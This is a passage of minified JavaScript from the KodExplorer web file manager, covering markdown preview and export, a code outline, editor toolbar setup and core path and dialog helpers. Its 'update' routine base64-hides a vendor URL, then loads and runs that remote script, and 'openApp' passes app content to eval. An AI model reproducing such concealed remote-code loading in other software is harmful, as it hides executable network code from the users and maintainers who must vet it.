"}),t=""},i=function(e){e.find("a").attr("target","_blank");var i="[TOC]
";if(-1!=e.html().indexOf(i)){var a=t(e),n=e.html();n=n.replace(i,a),e.html(n)}},a=function(){$(".edit_right_frame .markdown_menu a").die("click").live("click",function(e){stopPP(e);var t=$(this).parents(".right_main"),i=t.find("[data-link='"+$(this).attr("href")+"']");if(0!=i.length){var a=i.offset().top+t.scrollTop()-t.offset().top+"px";t.stop(!0).animate({scrollTop:a},100,"linear")}})},n=function(t,i){e.async("lib/markdown/highlight.min",function(){t.find("pre code").each(function(e,t){hljs.highlightBlock(t),"function"==typeof i&&i()})})},o=function(t,i){e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(t[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),t.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e=''+e+"
",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof i&&i()})},s=function(){var e="newfile",t=Editor.current().kod.filename;return""!=t&&(t=core.pathThis(t),e=t.substr(0,t.indexOf("."))),e},r=function(t){var i=e("./tpl/markdown_preview.html"),a=template.compile(i),n=a({addStyle:G.app_host+"static/js/lib/markdown/katex/katex.min.css",content:t,title:s(),black_theme:Editor.isBlackTheme()});return n=n.replace(/ data-link="#(.*?)">/g,'> ')},l=function(e,t){var i=s()+"."+t;switch(t){case"html":$.htmlDownload(r(e),i);break;case"md":var a=Editor.current(),n=a.getValue();$.htmlDownload(n,i);break;case"pdf":$.htmlPrint(r(e));break;default:}};return function(){var s,c,d,p,u=!1,f=!1,h=function(){if(s=Editor.current(),s&&void 0!==s.focus){var e=s.kod.uuid;c=$("#"+e).parent().find(".markdown_preview"),d=$("#"+e).parent().find(".edit_right_frame .right_main"),v(),_(),a()}},m=function(t){e.async("lib/markdown/markdown-it.min",function(){if(c&&0!=c.length){var e=window.markdownit({html:!0,breaks:!0}),a=s.getValue(),r=e.render(a),l=$(".markdown_make_buffer");0==l.length&&($("
").appendTo("body"),l=$(".markdown_make_buffer")),l.html(r),i(l),n(l,function(){c.html(l.html())}),(0==c.html().length||t===!0)&&c.html(l.html()),c.html(l.html()),o(l,function(){c.html(l.html()),l.remove(),w()})}})},_=function(){var e,t=function(){return!d.find(".preview_markdown_frame").hasClass("hidden")};s.session.on("changeScrollTop",function(){!f&&t()&&(u=!0,x(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3))}),s.on("change",function(){!f&&t()&&(u=!0,w(function(){x(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3)}))})},v=function(){return},g=[],b=[],y=function(){if(void 0!==s.kod.mode&&"markdown"==s.kod.mode){g=[];for(var e="\n...\n"+s.getValue(),t=0,i=window.markdownit(),a=i.parse(e,{references:{}}),n=["h1","h2","h3","h4","h5","h6"],o=0;a.length>o;o++)if($.inArray(a[o].tag,n)>=0&&"heading_open"==a[o].type){var r=s.session.documentToScreenPosition(a[o].map[0]-1,2),l=r.row*s.renderer.lineHeight;g.push({start:t,end:l,height:l-t}),t=l}}},k=function(){if(d&&0!=d.length){b=[];var e=0,t=d.scrollTop();c.find("h1,h2,h3,h4,h5,h6").each(function(){var i=$(this).position().top+t+parseInt($(this).css("margin-top"));b.push({start:e,end:i,height:i-e}),e=i})}},w=function(e){clearTimeout(p),p=!1,p=setTimeout(function(){y(),k(),"function"==typeof e&&e()},200)},x=function(e){var t=s.session.getScrollTop(),i=d.scrollTop(),a=function(e,t,i,a){for(var n,o=-1,s=0;e.length>s&&(o=s,n=e[s],!(e[s].end>t));s++);if(!(-1===o||o>=i.length)){var r=(t-n.start)/n.height,l=i[o],c=l.start+l.height*r;o==e.length-1&&t>=n.end-5&&(c=l.end),a(c)}};e?a(g,t,b,function(e){d.stop(!0).animate({scrollTop:e},100,"linear")}):i+d.height()>=d.prop("scrollHeight")-5?s.gotoLine(s.session.getLength()):a(b,i,g,function(e){s.session.setScrollTop(e)})};return h(),{refresh:m,refreshScroll:w,markdownMenu:t,markdown2html:r,markdownDownload:l}}}),define("app/src/edit/tpl/markdown_preview.html",[],'\n \n \n {{title}} \n\n \n\n\nPrint \n\n{{#content}}\n\n\n\n'),define("app/src/edit/function_list",[],function(){var e={php:[{reg:/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,reg_name:/.*function\s+(.*\))/,reg_index:1,type_extents:{function_value:/\s*(private|protected)\s*/,function_var:/\s*(public)\s*/},type:"function"},{reg:/\s*class\s+(\w*)\s*.*\{/g,reg_name:/\s*class\s+(\w*)\s*.*\{/,reg_index:1,type:"class"}],javascript:[{reg:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_var"},{reg:/\s*function\s+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*function\s+([\w\s]+)\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_define"},{reg:/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,reg_index:1,reg_name_all:[1,2],type:"function function_value"}],python:[{reg:/\s*class\s+(\w+)\s*\(/g,reg_name:/\s*class\s+(\w+)\s*\(/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*\(.*\)/g,reg_name:/\s*def\s+(\w+)\s*\(.*\)/,reg_index:1,type:"function"}],ruby:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*/g,reg_name:/\s*def\s+(\w+)\s*/,reg_index:1,type:"function"}],golang:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*func\s+(\w+)\s*.*\{/g,reg_name:/\s*func\s+(\w+)\s*/,reg_index:1,type:"function"}],java:[{reg:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,reg_name:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,reg_index:3,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],csharp:[{reg:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,reg_name:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,reg_index:2,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],actionscript:[{reg:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,reg_name:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,reg_index:1,type:"function"},{reg:/\s*class\s+(\w+)\s*.*\{/g,reg_name:/\s*class\s+(\w+)\s*.*\{/,reg_index:1,type:"class"}],objectivec:[{reg:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,reg_name:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,reg_index:1,type:"function"},{reg:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,reg_name:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,reg_index:1,type:"function"},{reg:/@implementation\s+(\w*)/g,reg_name:/@implementation\s+(\w*)/,reg_index:1,type:"class"},{reg:/#pragma\s+(mark\s+)?(.*)/g,reg_name:/#pragma\s+(mark\s+)?(.*)/,reg_index:2,type:"mark"}],c_cpp:[{reg:/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s+(\w+)\s*\(/,reg_index:1,type:"function"},{reg:/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s*(\w+)::~?(\w+)\s*\(/,reg_index:2,type:"function function_define"},{reg:/\s*class\s+(\w+)\s*:/g,reg_name:/\s*class\s+(\w+)\s*:/,reg_index:1,type:"class"}]},t=function(e,t){var i=e.match(t.reg);if(i){for(var a=[],n=i.length,o=0,s=e,r=0;n>r;r++){var l={};l.the_match=i[r];var c=l.the_match.match(t.reg_name);if(c&&!(c.lengthf;f++)l.name+=c[u[f]]}o=o+d+l.the_match.length,s=e.substr(o),l.type=t.type,t.type_extents!==void 0&&$.each(t.type_extents,function(e,t){l.the_match.match(t)&&(l.type+=" "+e)}),a.push(l)}}return a}},i=function(i,a){if(void 0!==e[a]){for(var n=e[a],o=[],s=0;n.length>s;s++){var r=t(i,n[s]);r&&Array.prototype.push.apply(o,r)}o.sort(function(e,t){var i="pos_start";return e[i]=t[i]?1:void 0});for(var l=i.split("\n"),c=0,d=o[c],p=0,u=0;l.length>u&&d;u++){for(;d&&d.pos_start>=p&&d.pos_start<=p+l[u].length;)o[c].range={start:{row:u,column:d.pos_start-p},end:{row:u,column:d.pos_end-p}},c++,d=o[c];p=p+l[u].length+1}return o}},a=function(e){return e=e.replace(/[\r\n {]+/gi," "),e=e.replace(/"/gi,"'"),e=e.replace(/\/gi,">")};return function(t){var n="",o='No outline for the active view
',s=$("#"+t.kod.uuid).parent(),r=s.find(".function_search input"),l=s.find(".function_list_box"),c=function(){var e=Editor.current();if(!e||e.kod===void 0)return l.html(o),void 0;var t=function(e){var t=e.replace(/(^\s*)|(\s*$)/g,"");return t.replace(/(\{$)/,"")},s=e.kod.mode,c=i(e.getValue(),s);if(c===void 0||0==c.length)return l.html(o),void 0;var p=e.getCursorPosition().row;n="";for(var f=0;c.length>f;f++){var h=c[f],m=h.range;if(m){c.length-1>f&&p>=c[f].range.start.row&&c[f+1].range&&c[f+1].range.start.row>p&&(h.type+=" row_select"),f==c.length-1&&p>=c[f].range.start.row&&(h.type+=" row_select");var _=m.start.row+","+m.start.column+","+m.end.row+","+m.end.column,v=t(t(h.the_match)).substr(0,150);n+=''+' '+''+a(h.name)+"
"}}r.val()||d(r.val()),u()},d=function(e){if(""==n)return l.html(o),void 0;if(!e||""==e)return l.html(n),u(),void 0;var t=$(""+n+"
");t.find(".cell").each(function(){var t=$(this).text(),i=t.toLowerCase().indexOf(e.toLowerCase());-1!=i?(t=t.substr(0,i)+""+t.substr(i,e.length)+" "+t.substr(i+e.length),$(this).html(t)):$(this).parent().remove()}),l.html(t.html()),p($(l.find(".list_row").get(0)))},p=function(e){if(1==e.length){l.find(".list_row").removeClass("row_select"),e.addClass("row_select");var t=e.attr("data-range"),i=t.split(","),a={start:{row:parseInt(i[0]),column:parseInt(i[1])},end:{row:parseInt(i[2]),column:parseInt(i[3])}};Editor.current()&&(Editor.current().revealRange(a),r.textFocus())}},u=function(){var e=l;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),a=e.find(".row_select").index(),n=e.find(".list_row:eq(0)").outerHeight(),o=e.scrollTop();t>a*n?o=a*n:(a+1)*n>i&&(o=a*n-e.height()+n),e.scrollTop(o)}},f=function(){var e="mouse_is_down";l.delegate(".list_row","mouseover mousedown mouseout mouseup",function(t){var i=$(this);switch(t.type){case"mouseover":i.parent().hasClass(e)?p(i):i.addClass("row_hover");break;case"mousedown":p(i),i.parent().addClass(e);break;case"mouseout":i.removeClass("row_hover");break;case"mouseup":i.parent().removeClass(e);break;default:}}),l.bind("mouseup",function(){r.textFocus()}),l.bind("mousedown",function(t){return 1!=t.which?!0:(l.setCapture&&l.setCapture(),$(document).one("mouseup",function(){l.removeClass(e),l.releaseCapture&&l.releaseCapture()}),void 0)});var t=function(){var e=r.val();d(e),""==e?s.find(".search_reset").addClass("hidden"):s.find(".search_reset").removeClass("hidden")};r.unbind("keydown").bind("keydown",function(e){switch(e.keyCode){case 37:break;case 39:break;case 38:0!=s.find(".row_select").prev().length&&(p(s.find(".row_select").prev()),u()),stopPP(e);break;case 40:0!=s.find(".row_select").next().length&&(p(s.find(".row_select").next()),u()),stopPP(e);break;case 27:case 13:p(s.find(".row_select")),r.val(""),t(),Editor.current()&&Editor.current().focus(),stopPP(e);break;default:setTimeout(t,5)}}),s.find(".search_reset").unbind("click").bind("click",function(){r.val(""),t(),Editor.current()&&Editor.current().focus()})};return f(),{refresh:c,support:function(t){return-1==$.inArray(t,objectKeys(e))?!1:!0}}}}),define("app/src/edit/markdownTools",[],function(){var e=function(){return Editor.current()},t={bold:{type:"inline",tag:"**",insert:"**${1:Bold Text}**",title:"Bold (Ctrl-B)","class":"bold"},italic:{type:"inline",tag:"*",insert:"*${1:Italic Text}*",title:"Italic (Ctrl-I)","class":"italic"},strikethrough:{type:"inline",tag:"~~",insert:"~~${1:Strikethrough Text}~~",title:"Strikethrough","class":"strikethrough"},h1:{type:"head",insert:"# ",title:"Header 1 ","class":"text-height"},h2:{type:"head",insert:"## ",title:"Header 2 "},h3:{type:"head",insert:"### ",title:"Header 3 "},h4:{type:"head",insert:"#### ",title:"Header 4 "},h5:{type:"head",insert:"###### ",title:"Header 5 "},quote:{type:"head",insert:"> ",title:"Quote (Ctrl-Q)","class":"quote-left"},list_order:{type:"head",insert:" 1. ",title:"Unordered list (Ctrl-O)","class":"list-ol"},list_unorder:{type:"head",insert:" - ",title:"Ordered list (Ctrl-U)","class":"list-ul"},list_task:{type:"head",insert:"- [ ] ",title:"Incomplete task list","class":"check-empty"},list_task_complete:{type:"head",insert:"- [x] ",title:"Complete task list","class":"check"},line:{type:"insert",insert:"\n\n\n----\n$1",title:"Line ","class":"minus"},link:{type:"insert",insert:"[${1:}](http://$2)",title:"Link (Ctrl-L)","class":"link"},image:{type:"image",insert:"",title:"Image (Ctrl-G)","class":"picture"},table:{type:"insert",insert:"\n\n\n| header 1 | header 2 |\n| ----------- | ----------- |\n| row 1 col 1 | row 1 col 2 |\n| row 2 col 1 | row 2 col 2 |\n\n",title:"Table ","class":"table"},code:{type:"inlineBlock",title:"Code (Ctrl-K)","class":"code",inline:{tag:"`",insert:"`${1:Code}`"},block:{tag:"\n```\n",insert:"\n```\n${1:code}\n```\n"}},math:{type:"inlineBlock",title:"Math (Ctrl-M)","class":"superscript",inline:{tag:"$$",insert:"$$${1:Math}$$"},block:{tag:"\n```\n",insert:"\n```math\n${1:}\n```\n"}}},i=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;
+/*! power by kodexplorer ver3.38(2017-03-01) [build 1488342123688] */
+var animate_time=160;define("app/src/edit/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/core","./edit","./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist","./taskTap","./toolbar"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),Editor=e("./edit"),Tap=e("./taskTap"),Toolbar=e("./toolbar"),rightMenu=Tap.rightMenu,$(document).ready(function(){core.init(),Editor.init(),Toolbar.init(),Tap.init(),e.async("lib/code_beautify"),$("a,img").attr("draggable","false"),setTimeout(function(){t()},300);var t=function(){var e=window.location.href.indexOf("#filename=");if(e>0){var t=window.location.href.substr(e+"#filename=".length);return Editor.add(t),void 0}Editor.getParentEditor(function(e){for(var t=e.ui.fileHistory(),i=0;t.length>i;i++)Editor.add(t[i]);0==t.length&&Editor.add("")})};$(window).bind("resize",function(){Tap.resetWidth("resize")}),navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i)&&"1"===Cookie.get("forceWap")&&$("body").addClass("forceWap"),window.onbeforeunload=function(){return Editor.hasFileSave()?LNG.if_save_file:void 0}})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g," ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t[0],i)>=0&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=''+t+"
",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a=" ";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var 